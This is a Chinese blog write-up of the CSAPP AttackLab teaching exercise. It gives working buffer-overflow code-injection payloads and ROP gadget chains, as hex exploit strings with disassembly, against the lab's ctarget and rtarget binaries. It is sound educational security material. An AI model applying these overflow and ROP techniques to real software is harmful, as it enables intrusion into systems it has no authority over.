CSAPP 之 AttackLab 詳解

之一Yo發表於2022-05-15

前言

本篇部落格將會介紹 CSAPP 之 AttackLab 的攻擊過程,利用緩衝區溢位錯誤進行程式碼注入攻擊和 ROP 攻擊。實驗提供了以下幾個檔案,其中 ctarget 可執行檔案用來進行程式碼注入攻擊,rtarget 用來進行 ROP 攻擊。

攻擊實驗給出的檔案

每種攻擊都有等級之分,如下表所示。

階段 程式 等級 攻擊方法 函式 分值
1 ctarget 1 CI touch1 10
2 ctarget 2 CI touch2 25
3 ctarget 3 CI touch3 25
4 rtarget 2 ROP touch2 35
5 rtarget 3 ROP touch3 5

程式碼注入攻擊

Level 1

ctarget 中,test 函式內部呼叫了 getbuf 函式,程式碼如下所示:

void test() {
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

其中 getbuf 函式會分配緩衝區大小,並呼叫 Gets 函式讀取使用者輸入的字串:

unsigned getbuf() {
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

此處 BUFFER_SIZE 需要從彙編程式碼中獲取。level 1 要求攻擊者輸入一段足夠長的字串,覆蓋 test 棧幀中儲存的返回地址,使得從 getbuf 返回之後不是繼續執行 test 函式的最後一行,而是從 touch1 的第一行開始執行,touch1 的程式碼如下所示:

void touch1() {
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

為了確定字串的長度和內容,需要分析一下 ctarget 的彙編程式碼,objdump -d ctarget > ctarget.asm 可以將 ctarget 的彙編程式碼寫入檔案。其中 torch1 的程式碼如下所示:

00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	callq  401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>

由此可知,攻擊者需要將返回地址修改為 0x4017c0 才能完成 level 1。而 getbuf 的程式碼如下所示:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq
  4017be:	90                   	nop
  4017bf:	90                   	nop

可以看到,棧指標減小了 0x28 也就是 40,說明緩衝區的大小為 40 個位元組。一旦字串的長度(包括結束符)大於 40,就會覆蓋返回地址。字串的前 40 個字元任意,第 41、42 和 43 個字元的十六進位制值必須是 C01740,才能將返回地址修改為 0x4017c0。修改前後的棧如下圖所示:

修改前後的棧

由於 C017 對應的字元打不出來,所以建立一個檔案 exploit.txt,在裡面寫入 40 個 30 (30 之間要有空格隔開)加上 c0 17 40 00,這裡加上 00 是必須的(作為結束符),之後使用 hex2rawexploit.txt 中的十六進位制數轉為字串並作為 ctarget 的輸入,結果如下圖所示:

CI:Level-1 攻擊成功

可以看到程式確實跳轉到了 touch1 函式,攻擊成功( ̄︶ ̄)↗ 。

level 2

level 2 要求跳轉到 touch2 函式,且執行 if 分支,touch2 的程式碼如下所示:

void touch2(unsigned val) {
    vlevel = 2; /* Part of validation protocol */

    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }

    exit(0);
}

也就是說需要在跳轉到 touch2 之前使用注入的指令,將 %rdi 的值修改為 cookie (本次實驗的 cookie0x59b997fa)。要想讓輸入的指令生效,需要將 getbuf 的返回地址修改為 buf 的起始地址,這樣執行 ret 之後會將 M[%rsp] 送到 %rip 中,下次就不會從 Text 區取指令了,而是從 stack 裡面取指令(此處就是緩衝區)。原理如下圖所示:

注入指令的原理

上圖中的 B 代表緩衝區的起始地址,使用 GDB 可以拿到這個地址為 0x5561dc78

緩衝區起始地址

為了實現 %rdi 的修改和 touch2 的跳轉,可以使用如下的彙編程式碼實現(檔案命名為 touch2.s),ret 指令可以將 M[%rsp] 的值(此處為 touch2 的地址 0x4017ec)送到 %rip,使得程式回到 Text 區的 touch2 函式處執行:

mov $0x59b997fa, %edi
ret

使用 gcc -c touch2.s 得到目標檔案 touch2.o,再用 objdump -d touch2.o > touch2.asm 進行反彙編,得到包含二進位制編碼的彙編程式碼:


touch2_.o:     檔案格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	bf fa 97 b9 59       	mov    $0x59b997fa,%edi
   5:	c3                   	retq

有了二進位制機器指令之後,就可以得到用於攻擊的字串的十六進位制值了,中間的一大串 30 用來佔位:

bf fa 97 b9 59 /* mov $0x59b997fa, %edi */
c3             /* ret */
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00 /* buf 的起始地址 */
ec 17 40 00 /* touch2 的起始地址 */

程式的執行效果如下:

CI:Level-2 攻擊失敗

發現這裡雖然成功設定了 %rdi 的值為 cookie,也跳轉到了 touch2,最終卻由於 segment fault 而失敗。出現這個錯誤的原因,是因為我們修改了 12 個位元組的棧幀的內容:第一次將 8 個位元組的返回地址修改為 buf 起始地址,第二次應該是修改了 launch (呼叫了 test)棧幀中儲存的返回地址。為了解決這個問題,我們將彙編指令修改為:

mov $0x59b997fa, %edi
pushq $0x4017ec
ret

使用 pushq 指令將 touch2 的堆疊壓入棧中,一樣能實現跳轉功能。這樣就需要把字串的十六進位制值修改為:

bf fa 97 b9 59 /* mov $0x59b997fa, %edi */
68 ec 17 40 00 /* pushq $0x4017ec */
c3             /* ret */
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00 /* buf 的起始地址 */

程式執行效果如下,這次攻擊成功了( ̄︶ ̄)↗ :

CI-Level-2 攻擊成功

Level 3

level 3 要求跳轉到 touch3 函式,並且執行 if 分支,程式碼如下所示:

void touch3(char *sval) {
    vlevel = 3; /* Part of validation protocol */

    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }

    exit(0);
}

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

可以看到 touch3 會使用 hexmatch 函式進行字串匹配,此處 cookie0x59b997fasval 是攻擊者注入的 cookie 的起始地址。hexmatch 函式將 cookie 從數字轉換成了字串 59b997fa,也就是我們輸入的 cookie 就應該是 59b997fa,對應的十六進位制為 35 39 62 39 39 37 66 61

由於 touch3 開頭就使用了 push %rbx,將 %rbx 的值寫入了棧中,接著使用 callq 呼叫了 hexmatch 函式,這個操作也會把 0x401916 返回地址寫入 touch3 的棧幀中。在 hexmatch 的開頭,連續使用了三條 push 指令,修改了棧的內容。以上的幾個操作會改變 buf 緩衝區的內容,%rsp 的變化過程如下圖所示:

CI:Level-3 %rsp變化過程

為了避免輸入的 cookie 被覆蓋掉,可以將其放在輸入字串的最後,對應的記憶體地址為 0x5561dc78 + 48d = 0x5561dca8,其餘部分和 level 2 相似,如下所示:

48 c7 c7 a8 dc 61 55 /* mov    $0x5561dca8,%rdi */
68 fa 18 40 00       /* pushq  $0x4018fa */
c3                   /* retq */
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00          /* buf 起始地址 */
35 39 62 39 39 37 66 61 00       /* cookie: 0x59b997fa */

攻擊效果如下,pass 說明攻擊成功了 ヾ(≧▽≦*)o

CI:Level-3 攻擊成功

ROP 攻擊

程式碼注入攻擊要求能夠確定緩衝區的起始地址和緩衝區中注入的程式碼能夠被執行,如果引入棧隨機化技術並限制可執行程式碼區域為 Text 區,程式碼注入攻擊就不好使了,因為我們注入的程式碼壓根就不會被執行。

雖然我們注入的程式碼不能被執行,但是 Text 區的程式碼還是可以被執行的。如果能把這些程式碼組合在一起,實現我們想要的功能,那麼也能實現攻擊目的。這時候緩衝區儲存的就不是指令了,而是一條條 Text 區可以被執行的指令的地址,同時這些指令有個特點,就是後面會跟著 ret 指令,這樣才能根據緩衝區中儲存的指令地址接著取指。上述的攻擊方式就被稱為 ROP 攻擊。

Level 2

Level 2 要求使用 ROP 攻擊跳轉到 touch2 函式並執行 if 分支,並給出了下列要求:

  • 只能使用包含 movqpopqretnop 的 gadget
  • 只能操作 %rax%rdi 這前八個暫存器
  • 只能使用 start_farmmid_farm 區間內的程式碼來構造 gadget

並且友情提示了只要兩條 gadget 就能實現攻擊。我們在程式碼注入攻擊 level 2 中注入了 mov $0x59b997fa, %edi 指令來實現 %rdi 的賦值,但是 start_farmmid_farm 區間內的程式碼沒有包含 0x59b997fa 立即數,所以這個立即數應該由攻擊者輸入,存在棧中。接著我們可以使用下述指令實現 %rdi 的賦值:

popq %rax
movq %rax, %rdi

其中 popq %rax 對應的機器碼為 58movq %rax, %rdi 對應的機器碼為 48 89 c7。在 start_farm 中搜尋包含這個機器碼,結果如下圖所示。

start_farm 到 mid_farm 中的 gadget

可以看到 addval_219getval_280 中的 58 後面接的不是 90 (對應 nop 指令)就是 c3(對應 ret 指令),可以用於構造 gadget,地址為 0x4019ab 或者 0x4019cc。而 addval_273setvak_426 中的 48 89 c7 也滿足條件,地址為 0x4019a2 或者 0x4019c5

根據上述分析,可以得到字串的十六進位制為:

30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
ab 19 40 00 00 00 00 00 /* addval_219: popq %rax */
fa 97 b9 59 00 00 00 00 /* cookie: 0x59b997fa */
c5 19 40 00 00 00 00 00 /* setval_426: movq %rax, %rdi */
ec 17 40 00 00 00 00 00 /* touch2 地址 */

棧的內容如下圖所示:

ROP:Level-2 棧的內容

攻擊效果如下,成功 PASS q(≧▽≦q)

ROP:Level-2 攻擊成功

Level 3

Level 3 同樣要求使用 ROP 攻擊跳轉到 touch3 並執行 if 分支,本次傳遞給 %rdi 的是 cookie 字串的地址,受到棧隨機化的影響,緩衝區的起始地址一直在變化,所以不能將 cookie 字串的地址直接寫入緩衝區。但是 %rsp 裡面儲存了地址,如果我們給這個地址加上一個偏差量,就能得到 cookie 字串的地址了。

實現上述想法最直白的彙編程式碼如下所示:

movq $rsp, %rdi
popq %rsi
callq 0x401d6<add_xy>
movq %rax, %rdi

可惜不是每一條指令的機器碼都能在 start_farmend_farm 之間找到並構造出 gadget,所以需要稍微繞點遠路,結果如下:

movq %rsp, %rax
movq %rax, %rdi
popq %rax
movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi
callq 0x4019d6<add_xy>
movq $rsp, %rdi

根據上述彙編程式碼的機器碼地址可以得到輸入字串的十六進位制為:

30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
06 1a 40 00 00 00 00 00     /* addval_190: movq %rsp, %rax */
a2 19 40 00 00 00 00 00     /* addval_273: movq %rax, %rdi */
ab 19 40 00 00 00 00 00     /* addval_219: popq %rax */
48 00 00 00 00 00 00 00     /* 偏移地址 */
dd 19 40 00 00 00 00 00     /* getval_481: movl %eax, %edx */
69 1a 40 00 00 00 00 00     /* getval_311: movl %edx, %ecx */
13 1a 40 00 00 00 00 00     /* addval_436: movl %ecx, %six */
d6 19 40 00 00 00 00 00     /* <add_xy> */
c5 19 40 00 00 00 00 00     /* setval_426: movq %rax, %rdi */
fa 18 40 00 00 00 00 00     /* touch3 地址 */
35 39 62 39 39 37 66 61 00  /* cookie: 0x59b997fa */

最終也通過測試了 []~( ̄▽ ̄)~*:

ROP:Level-3 攻擊成功

總結

通過這次實驗,可以加深對緩衝區溢位安全問題的理解,掌握程式碼注入攻擊和 ROP 攻擊的原理,同時對 x86-64 指令的編碼方式以及取指有了更好的認識,以上~~

相關文章